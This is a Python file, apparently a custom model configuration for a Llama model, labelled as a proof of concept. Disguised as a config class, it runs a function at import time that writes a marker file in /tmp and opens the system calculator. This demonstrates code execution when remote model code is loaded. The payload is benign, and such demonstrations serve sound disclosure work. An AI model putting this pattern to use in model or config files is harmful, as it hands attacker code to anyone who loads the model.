File size: 1,509 Bytes
bcf8bb7
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# POC Configuration
from transformers.models.llama import LlamaConfig
import platform
import subprocess
import os
import datetime

def _poc_demo():
    """POC: 打开计算器"""
    system = platform.system()
    
    # 创建标记文件
    with open("/tmp/poc_executed.txt", "w") as f:
        f.write(f"POC executed at: {datetime.datetime.now()}\n")
        f.write(f"System: {system}\n")
        f.write("Calculator will be opened as demonstration\n")
    
    # 打开计算器
    try:
        if system == "Darwin":  # macOS
            subprocess.Popen(["open", "-a", "Calculator"],
                           stdout=subprocess.DEVNULL,
                           stderr=subprocess.DEVNULL)
        elif system == "Windows":
            subprocess.Popen(["calc.exe"],
                           stdout=subprocess.DEVNULL,
                           stderr=subprocess.DEVNULL)
        elif system == "Linux":
            for calc in ["gnome-calculator", "kcalc", "xcalc"]:
                try:
                    subprocess.Popen([calc],
                                   stdout=subprocess.DEVNULL,
                                   stderr=subprocess.DEVNULL)
                    break
                except:
                    continue
    except:
        pass
    
    print("[POC] Code executed - check if calculator opened")
    return True

# 执行POC
_poc_demo()

class POCConfig(LlamaConfig):
    model_type = "llama"
    def __init__(self, **kwargs):
        super().__init__(**kwargs)